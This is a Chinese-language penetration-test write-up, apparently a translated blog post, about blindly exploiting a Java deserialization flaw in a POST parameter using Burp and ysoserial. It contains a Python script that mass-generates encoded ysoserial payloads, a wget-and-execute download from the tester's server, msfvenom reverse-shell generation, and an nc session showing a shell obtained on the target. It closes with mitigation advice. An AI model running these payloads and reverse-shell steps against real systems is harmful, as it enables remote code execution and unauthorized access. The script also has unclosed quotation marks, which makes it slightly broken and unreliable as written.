导语:在本文中,我们将为读者详细介绍如何使用Burp和Ysoserial实现Java反序列化漏洞的盲利用。

在执行Web应用程序渗透测试时,我在POST参数中偶然发现了一个参数,其内容为某些base64编码的数据。出于好奇,我将其发送给了Burp的解码器。

1.jpg

经过两轮URL解码和一轮Base64解码后,得到的内容看上去好像是一个序列化的Java有效载荷。实际上,这一点是通过幻数看出来的,该幻数用ASCII表示的话,为rO0,用十六进制表示的话,就是AC ED 00。听说过ysoserial之后,我认为最好的做法就是使用该工具集构建一个有效载荷,并将其作为我发现的POST参数的值进行发送。Ysoserial简直太棒了,因为它提供了大量的有效载荷,以至于多到我都不知道应该使用哪一个了。幸运的是,我在/r/netsec上发现的一篇博文详细介绍了一个与这里非常相似的情形。Petre Popescu的文章还提供了一个脚本,该脚本能够创建一系列有效载荷,其中包含了可以实现命令执行的各种有效载荷类型中的所有命令。和他一样,我也不知道基础操作系统是啥,于是我同时为Linux和Windows系统创建了有效载荷ping。我在分析基准有效载荷时发现的另一个问题是,它并非是简单的base64编码;它首先进行了base64编码,然后每76个字符为一组,用换行符进行分隔,接着又进行了两次URL编码。为此,我对Petre的脚本进行了相应的修改,使其能够适应这种情况。

import os
import re
import base64
import urllib
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2',
            'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1',
            'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21',
            'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ../ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            #Create line breaks at 76 characters
            encoded = re.sub("(.{76})", "\\1\n", encoded, 0, re.DOTALL)
            #Double URL encode the payload
            encoded = urllib.quote_plus(urllib.quote_plus(encoded))
            open(name + payload + '_intruder.txt', 'a').write(encoded + '\n')
 
generate('Windows', 'ping -n 1 [MY_SERVER])
generate('Linux', 'ping -c 1 [MY_SERVER])

像Petre一样,我也是通过Burp Intruder逐一发送这些有效载荷,将这些有效载荷转换为易受攻击的参数。同时,我还在自己的服务器上启动了tcpdump,用来过滤ICMP。

[email protected]:~# tcpdump icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

随着有效载荷开始释放,我发现一个ping进入自己的服务器,其DNS名称与我的客户端是匹配的。为了验证哪个有效载荷是有效的,我再次运行Intruder攻击,并将其减慢,以查看实际触发的有效载荷。我发现目标系统是Linux,并且有效载荷CommonsBeanutils1是有效的。

由于我特别热衷于反向shell,所以,下一步是获得一个可以在目标系统上运行的有效载荷。因此,我根据pentestmonkey网站的Reverse Shell Cheat Sheet中的单行荷载进行了逐一尝试,可惜并未如愿。然后,从我控制的服务器上利用wget下载了一个有效载荷,设置其执行位,并运行之。最初,我企图连接这三个命令::

wget http://MY_SERVER:8080/payload -o /tmp/payload
chmod +x /tmp/payload
/tmp/payload

经过反复试验后,后来发现用分号连接命令在这里没有用,所以,只好一次发送一个命令。在单行有效载荷失败之后,我为Linux创建了一个ELF二进制文件,以便用msfbusin连接回我的服务器。

[email protected]:~# msfvenom -p linux/x86/shell_reverse_tcp LPORT=443 LHOST=MY_SERVER -f elf > payload
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes

由于不了解目标系统的具体架构,所以我只选择了32位有效载荷,因为我知道,它可以同时在64位和32位系统上工作。在发送了三个序列化的java命令后,我在服务器上收到了一个连接。

[email protected]:~# nc -lvp 443
listening on [any] 443 ...
connect to [XXX.XXX.XXX.XXX] from victim.com [XXX.XXX.XXX.XXX] 60173
python -c 'import pty;pty.spawn("/bin/bash")'
[[email protected]]$ id
id
uid=500(victim) gid=500(victim) groups=500(victim)

在目标系统上收到反向shell之后,我很快就通知了客户。

缓解这类漏洞的最佳方法是使用其他类型的数据格式,避免使用本机反序列化格式。如果应用程序需要传递序列化对象,则必须仅限于对已签名和验证的序列化对象执行该操作,以降低恶意用户提供的任意对象的风险。

源链接

Hacking more

...